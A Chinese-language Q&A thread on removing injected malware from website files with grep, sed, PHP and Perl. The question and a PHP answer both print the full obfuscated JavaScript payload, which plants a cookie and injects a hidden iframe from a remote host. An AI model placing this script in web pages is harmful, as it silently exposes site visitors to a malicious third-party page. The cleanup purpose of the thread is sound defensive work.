grep 中的正则表达式问题

grep 中的正则表达式问题

我正在尝试使用脚本从网站中删除恶意软件代码,但在获取恶意软件部分的正则表达式时遇到问题。

我最终想做的是使用 sed 来查找恶意代码并替换它。在我的第一次尝试中,我尝试做这样的事情:

#fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'

其中“搜索”是:

SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/
var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28
\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E
\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62
\x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A
\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E
\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&
&_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x
10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_
0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1
0b1x8);};};
/*236499a9e0b11c0dc3eecf5cf751a097*/'

并更换:

REPLACE=''

我无法让 sed 部分工作,而 grep 工作。

所以现在我想我可以使用正则表达式来完成此操作,所以我不必使用整个字符串。

这是其他代码:

INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'

grep -rl --exclude='*.sh' $INFECTED .

这没有任何作用。

这个的作用是:

INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'

grep -rl --exclude='*.sh' $INFECTED .

还有这个:

INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'

grep -rl --exclude='*.sh' $INFECTED .

我希望在 grep 中得到正确的正则表达式,然后在 sed 中应用它。关于如何更好地实现目标有什么想法吗?或者这段代码有什么问题?

谢谢=)

答案1

由于我对 php 比较熟悉,所以我最终得到的是:

#! /opt/php56/bin/php
<?php

$searchpattern='/*236499a9e0b11c0dc3eecf5cf751a097*/
var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28
\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E
\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62
\x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A
\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E
\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&
&_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x
10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_
0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1
0b1x8);};};
/*236499a9e0b11c0dc3eecf5cf751a097*/';

$escaped_search = escapeshellarg($searchpattern);

$cmd = "grep -Frl $escaped_search .";

exec($cmd, $files);

$iter = 0;

foreach ($files as $file) {
    if (basename($file) !== basename(__FILE__)) {
        $iter++;
        $filecontents = file_get_contents($file);
        $filecontents = preg_replace("/(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)[\s\S]*(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)/", '', $filecontents);      
        file_put_contents($file, $filecontents);
    }
}

print("for count: $iter") . PHP_EOL;

$count = exec("fgrep -lr $escaped_search . | wc -l");

print("grep count: $count") . PHP_EOL;

我认为 grep 部分也可以使用正则表达式进行优化,如下所示:

fgrep -rl '(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)[\s\S]*(\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/)' .

但我没有尝试过,所以我不确定。

从此类恶意软件中恢复的更好方法是使用备份,但就我而言这是不可能的,因此我选择了搜索/替换策略。

感谢您的帮助!

答案2

这可以作为单行代码完成,但我将其编写为独立脚本,以避免长搜索字符串出现水平滚动条。

#! /usr/bin/perl -p -i.bak

# save as fix.pl, and make executable with chmod +x fix.pl

BEGIN { 
    undef $/;
    $srch='/\\*236499a9e0b11c0dc3eecf5cf751a097\\*/';
} ; 

s:$srch.*$srch::sgo ;

然后运行./fix.pl infectedfile.php

这将删除从第一个实例*236499a9e0b11c0dc3eecf5cf751a097*到第二个实例的所有内容。原始文件将保留为infectedfile.php.bak- 您可以稍后使用 rm 或 mv 它们find . -type f -name '*.php.bak' ...

如果您不需要这些.bak文件,请将行更改-i.bak#!-i.

undef $/;告诉perl我们立即吞入整个文件。

s正则表达式 ( ) 末尾的修饰符告诉/sgoPerl 将输入视为单个字符串,换行符等视为与任何其他字符相同。修饰符g使其成为全局搜索和替换(以防文件中出现多次),并且修饰符o告诉 perl,即使正则表达式使用变量,它在脚本的生命周期内也不会发生任何更改,因此它是仅编译一次正则表达式是安全的(这大大加快了执行速度)。

要修复所有受感染的 .php 文件:

find . -type -f -name '*.php' -exec ./fix.pl {} +

相关内容